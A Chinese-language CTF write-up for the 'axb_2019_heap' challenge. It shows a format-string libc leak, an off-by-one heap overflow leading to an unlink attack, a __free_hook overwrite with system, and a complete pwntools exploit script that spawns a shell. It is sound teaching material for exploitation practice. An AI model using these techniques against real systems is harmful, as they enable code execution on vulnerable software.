axb_2019_heap
检查保护措施

本地调试

堆菜单布局
IDA静态分析

上来就怼了个格式化字符串漏洞用来泄露libc,因为这题没有show,虽然有show选项但是是个空壳
只会打印’None’

这两处地址是我们要泄露的,一个是main+28,一个是libc_start_main+240的libc_base,加上前面有6个寄存器,rdi, rsi, rdx, rcx, r8, r9,main+28的相对偏移是11,libc_start_mian+240的相对偏移是15,利用格式化字符串漏洞,name传入%11$p%15$p就可以泄露这两个值。再看一下各个功能函数
add():

我们创建的chunk要大于0x80也就是非fastbin,且malloc地址和chunk的size大小被存储在数组note[]中,自然而然想到了unlink攻击
free():
删除功能没有什么特别的,指针也置0了,不存在UAF
edit():

漏洞点:off-by-one,edit的时候允许多一字节,这一个字节可以覆盖掉下一个chunk的size,来伪造前面的要合并的chunk为空闲状态
先泄露libc:
1 2 3 4 5 6 7 8 9
| io.recvuntil('name: ') io.sendline('%11$p%15$p') io.recvuntil('Hello, ')
base=int(io.recv(14),16)-0x1186 libc_base=int(io.recv(14),16)-libc.sym['__libc_start_main']-240 success("base:"+hex(base)) bss=base+0x202060
|
然后编辑chunk0伪造释放一个的chunk,如何伪造chunk以及fd和bk如何设置在笔者之前的一篇文章有详细解释可以参考:http://s4ndw1ch136.github.io/post/97216497.html
这里就不再赘述
1 2 3 4
| payload1 = p64(0)+p64(0x90)+p64(fake_chunk_fd)+p64(fake_chunk_bk)+p64(0)*14+p64(0x90)+'\xa0' edit(0,payload1)
free(1)
|
布置好堆布局后,再去free(1),这时触发unlink去合并我们伪造的chunk

可以看到再去edit(0)的时候就可以改note[]数组内存放的指针
1 2
| payload2 = p64(0)*3+p64(free_hook)+p64(0x10) edit(0,payload2)
|
由于这里的保护是全部开启的,也就是got表是不可改的,所以选择打free_hook,如果got表可以更改我们还可以去修改atoi的got表也是可行的
全部exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| from pwn import* context(os='linux', arch='amd64', log_level='debug')
io = remote('node4.buuoj.cn',29505)
elf = ELF('./axb_2019_heap')
libc = ELF('./libc-2.23_64.so')
def add(idx,size,content): io.sendlineafter('>>','1') io.sendlineafter('):',str(idx)) io.sendlineafter('size:',str(size)) io.sendlineafter('content:',content) def free(index): io.sendlineafter('>>','2') io.sendlineafter('index:',str(index)) def edit(index,content): io.sendlineafter('>>','4') io.sendlineafter('index:',str(index)) io.sendlineafter('content: \n',content)
io.recvuntil('name: ') io.sendline('%11$p%15$p') io.recvuntil('Hello, ')
base=int(io.recv(14),16)-0x1186 libc_base=int(io.recv(14),16)-libc.sym['__libc_start_main']-240 success("base:"+hex(base)) bss=base+0x202060
add(0,0x98,'aaaa') add(1,0x98,'bbbb') add(2,0x98,'/bin/sh')
system=libc_base+libc.sym['system'] free_hook=libc_base+libc.sym['__free_hook']
fake_chunk_fd = bss - 0x18 fake_chunk_bk = bss - 0x10
payload1 = p64(0)+p64(0x90)+p64(fake_chunk_fd)+p64(fake_chunk_bk)+p64(0)*14+p64(0x90)+'\xa0' edit(0,payload1)
free(1)
payload2 = p64(0)*3+p64(free_hook)+p64(0x10) edit(0,payload2)
edit(0,p64(system)) free(2) io.interactive()
|
